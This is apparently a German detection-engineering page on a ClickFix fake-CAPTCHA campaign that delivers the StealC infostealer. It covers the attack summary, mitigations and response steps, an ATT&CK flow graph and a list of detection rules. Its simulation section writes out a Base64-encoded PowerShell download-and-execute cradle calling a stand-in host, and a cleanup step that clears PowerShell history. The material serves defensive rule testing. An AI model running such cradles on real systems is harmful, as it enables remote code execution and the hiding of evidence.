Wie ClickFix die Tür für den Stealthy StealC Information Stealer öffnet
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein mehrstufiger, dateiloser Angriff startet auf einer kompromittierten vietnamesischen Restaurant-Website mit einem gefälschten CAPTCHA. Opfer werden dazu gebracht, PowerShell auszuführen, das positionsunabhängiges Shellcode abruft, welches einen 64-Bit-Downloader reflektiv lädt und den StealC-Informationsdieb in svchost.exe injiziert. StealC sammelt Browser-Anmeldedaten, Informationen zu Kryptowährungs-Wallets, Anmeldedaten von Steam und Outlook, Host-Details und Screenshots und exfiltriert diese dann über RC4-verschlüsselten HTTP-Verkehr.
Untersuchung
Forscher analysierten den JavaScript- und PowerShell-Loader, bestätigten die Nutzung des Donut-Shellcode-Frameworks und folgten den HTTP-Anfragen des Downloaders zu von Angreifern kontrollierten URLs. Der Stealer scheint eine baustellenbasierte Malware-as-a-Service mit modularen Diebstahlsfunktionen plus einer Selbstlöschroutine zu sein. Zu den Jagdnotizen gehören ein User-Agent-Wert von „Loader“ und spezifische Registrierungsschlüssel, die mit dem Staging und der Ausführung verbunden sind.
Minderung
Empfohlene Abwehrmaßnahmen umfassen die Begrenzung oder Deaktivierung des Einfügens aus der Zwischenablage in Browsern, die Verschärfung der PowerShell-Ausführungsrichtlinien und das Warnen vor ungewöhnlichen User-Agent-Strings. Fügen Sie die Erkennung für reflektives PE-Laden und Prozessinjektionen hinzu und erzwingen Sie die Inspektion ausgehender HTTP-Daten für die Lieferung Base64-kodierter Nutzlasten. Die Aufklärung der Nutzer über gefälschte CAPTCHA-Köder sollte als Kontrollmaßnahme und nicht als nachträglicher Gedanke behandelt werden.
Antwort
Wenn entdeckt, isolieren Sie den Endpunkt, stoppen Sie die injizierte svchost.exe-Instanz, erfassen Sie Speicherabbilder zur Überprüfung des Shellcodes und blockieren Sie die bösartigen Domains/URLs. Setzen Sie exponierte Anmeldedaten zurück, überprüfen Sie Registrierungs- und Browser-Artefakte auf Auswirkungen und überwachen Sie restlichen C2-Verkehr.
„graph TB %% Class definitions classDef technique fill:#99ccff classDef action fill:#ffcc99 classDef process fill:#dddddd tech_content_injection[„<b>Technik</b> – <b>T1659 Content Injection</b>: Bösartiges JavaScript in kompromittierter Website injiziert, das ein gefälschtes CAPTCHA liefert.“] class tech_content_injection technique attack_user_exec[„<b>Aktion</b> – <b>T1204.004 Benutzer-Ausführung: Bösartiges Kopieren und Einfügen</b>: Opfer führt PowerShell-Befehl über Win+R und Strg+V aus.“] class attack_user_exec action tech_powershell[„<b>Technik</b> – <b>T1059.001 PowerShell</b>: Führt PowerShell-Skript aus, das einen In-Memory-Loader herunterlädt.“] class tech_powershell technique tech_obfuscation[„<b>Technik</b> – <b>T1027 Verschleierte Dateien oder Informationen</b>: Shellcode und Strings verschlüsselt, dynamische API-Auflösung (T1027.007), gestrippte Nutzlasten (T1027.008).“] class tech_obfuscation technique tech_process_injection[„<b>Technik</b> – <b>T1055 Process Injection</b>: Portable Executable Injection (T1055.002) und Process Hollowing (T1055.012) in svchost.exe.“] class tech_process_injection technique tech_masquerading[„<b>Technik</b> – <b>T1036 Maskierung</b>: Verwendung des legitimen svchost.exe-Prozesses zur Verschleierung bösartiger Aktivität.“] class tech_masquerading technique tech_cred_browser[„<b>Technik</b> – <b>T1555.003 Anmeldedaten aus Webbrowsern</b>: Diebstahl gespeicherter Browser-Anmeldedaten.“] class tech_cred_browser technique tech_steal_cookie[„<b>Technik</b> – <b>T1539 Websitzungscookies stehlen</b>: Erfassen von Authentifizierungscookies aus dem Browser.“] class tech_steal_cookie technique tech_use_cookie[„<b>Technik</b> – <b>T1550.004 Verwendung alternativer Authentifizierungsmaterialien: Websitzungscookie</b>: Nutzung gestohlener Cookies für authentifizierten Zugriff.“] class tech_use_cookie technique tech_browser_discovery[„<b>Technik</b> – <b>T1217 Browsereinformationsentdeckung</b>: Sammeln von Informationen über installierte Browser und deren Konfigurationen.“] class tech_browser_discovery technique tech_archive[„<b>Technik</b> – <b>T1560 Archivierte gesammelte Daten</b>: Daten vor der Exfiltration komprimieren oder archivieren.“] class tech_archive technique tech_exfil_c2[„<b>Technik</b> – <b>T1041 Exfiltration über C2-Kanal</b>: Datenübertragung über den Command-and-Control-Kanal.“] class tech_exfil_c2 technique tech_encrypted_channel[„<b>Technik</b> – <b>T1573 Verschlüsselter Kanal</b>: Exfiltration mit Verschlüsselung schützen (Base64+RC4).“] class tech_encrypted_channel technique tech_exfil_alt[„<b>Technik</b> – <b>T1048.001 Exfiltration über alternatives Protokoll</b>: Nutzung alternativer Protokolle für die Datenexfiltration.“] class tech_exfil_alt technique tech_file_deletion[„<b>Technik</b> – <b>T1070.004 Datei Löschung</b>: Löschen von Dateien und Artefakten zur Verschleierung der Spuren.“] class tech_file_deletion technique tech_clear_persistence[„<b>Technik</b> – <b>T1070.009 Persistenz löschen</b>: Entfernung von Persistenzmechanismen nach der Ausführung.“] class tech_clear_persistence technique %% Verbindungen, die den Angriffsablauf zeigen tech_content_injection u002du002d>|führt zu| attack_user_exec attack_user_exec u002du002d>|führt aus| tech_powershell tech_powershell u002du002d>|verwendet| tech_obfuscation tech_obfuscation u002du002d>|ermöglicht| tech_process_injection tech_process_injection u002du002d>|verwendet| tech_masquerading tech_process_injection u002du002d>|ermöglicht| tech_cred_browser tech_process_injection u002du002d>|ermöglicht| tech_steal_cookie tech_cred_browser u002du002d>|unterstützt| tech_browser_discovery tech_browser_discovery u002du002d>|liefert| tech_archive tech_archive u002du002d>|komprimierte_daten| tech_exfil_c2 tech_steal_cookie u002du002d>|ermöglicht| tech_use_cookie tech_use_cookie u002du002d>|führt zu| tech_exfil_c2 tech_exfil_c2 u002du002d>|geschützt durch| tech_encrypted_channel tech_exfil_c2 u002du002d>|verwendet| tech_exfil_alt tech_exfil_c2 u002du002d>|auslöst| tech_file_deletion tech_file_deletion u002du002d>|auch| tech_clear_persistence „
Angriffsablauf
Erkennungen
Mögliche PING-Nutzung für verzögerte Ausführung (über Befehlszeile)
Ansicht
Verdächtiger Dateidownload Direkt-IP (über Proxy)
Ansicht
LOLBAS wmic (über Befehlszeile)
Ansicht
Download oder Upload via PowerShell (über Befehlszeile)
Ansicht
IOCs (SourceIP) zum Erkennen: Wie ClickFix die Tür für den heimlichen StealC Informationsdieb öffnet
Ansicht
IOCs (HashSha256) zum Erkennen: Wie ClickFix die Tür für den heimlichen StealC Informationsdieb öffnet
Ansicht
IOCs (DestinationIP) zum Erkennen: Wie ClickFix die Tür für den heimlichen StealC Informationsdieb öffnet
Ansicht
Erkennen von StealC Informationsdieb-Netzwerkaktivität [Windows Netzwerkanbindung]
Ansicht
Erkennen von Prozessinjektion über StealC in svchost.exe [Windows Prozess-Erstellung]
Ansicht
PowerShell EncodedCommand und iex(irm) erkannt [Windows PowerShell]
Ansicht
Simulation der Ausführung
Voraussetzung: Die Telemetrie- & Basislinien-Überprüfung muss erfolgreich bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und das Narrativ MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die exakte Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffsgeschehen & Befehle:
Ein Angreifer erhält eine Phishing-E-Mail mit einem kurzen URL-Link. Ziel ist es, eine Remote-PowerShell-Hintertür zu installieren, ohne den Benutzer zu alarmieren. Der Angreifer erstellt eine Base64-codierte PowerShell-Nutzlast, die ein bösartiges Skript von einem C2-Server herunterlädt und es sofort ausführt mit
iex(irm…). Durch die Verwendung des-EncodedCommandSchalters verbirgt der Angreifer die eigentlichen Befehle vor einer beiläufigen Überprüfung, und dasiex(irm…)Muster entspricht der Erkennungsregel direkt.-
Erstellen Sie das bösartige Skript (
payload.ps1) gehostet aufhttp://malicious.example.com/payload.ps1. -
Codieren Sie den Startbefehl:
$launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))" $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # Dieser Wert wird im nächsten Schritt verwendet -
Führen Sie den codierten Befehl auf dem Ziel aus:
powershell.exe -EncodedCommand <Base64StringFromStep2>
Dies erzeugt ein Sysmon ProcessCreate-Ereignis, bei dem
CommandLineenthält-EncodedCommandand der entschlüsselte Text enthältiex(irm…), was der Sigma-Regel entspricht. -
-
Regressions-Testskript:
#----------------------------------------------------------- # Simulationsskript – Löst PowerShell EncodedCommand + iex(irm) aus #----------------------------------------------------------- # 1. Definieren Sie die URL des bösartigen Skripts (ersetzen Sie sie mit Ihrem Testserver) $maliciousUrl = "http://malicious.example.com/payload.ps1" # 2. Erstellen Sie den Einzeiler, der das Skript herunterlädt und ausführt $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))" # 3. Codieren Sie den Befehl in Base64 (Unicode) $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) # 4. Starten Sie PowerShell mit dem codierten Befehl Write-Host "Führe codierten Befehl aus..." Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-EncodedCommand $b64" ` -NoNewWindow -Wait Write-Host "Simulation abgeschlossen." -
Bereinigung-Befehle:
# Entfernen Sie alle temporären Dateien, die durch die simulierte Nutzlast erstellt wurden (falls vorhanden) # Beispiel: löschen Sie das heruntergeladene Skript, wenn es lokal gespeichert wurde $tempPath = "$env:TEMPpayload.ps1" if (Test-Path $tempPath) { Remove-Item $tempPath -Force Write-Host "Temporäre Nutzlast entfernt." } # Optional: Löschen Sie die PowerShell-Historie, um forensische Spuren zu reduzieren Clear-History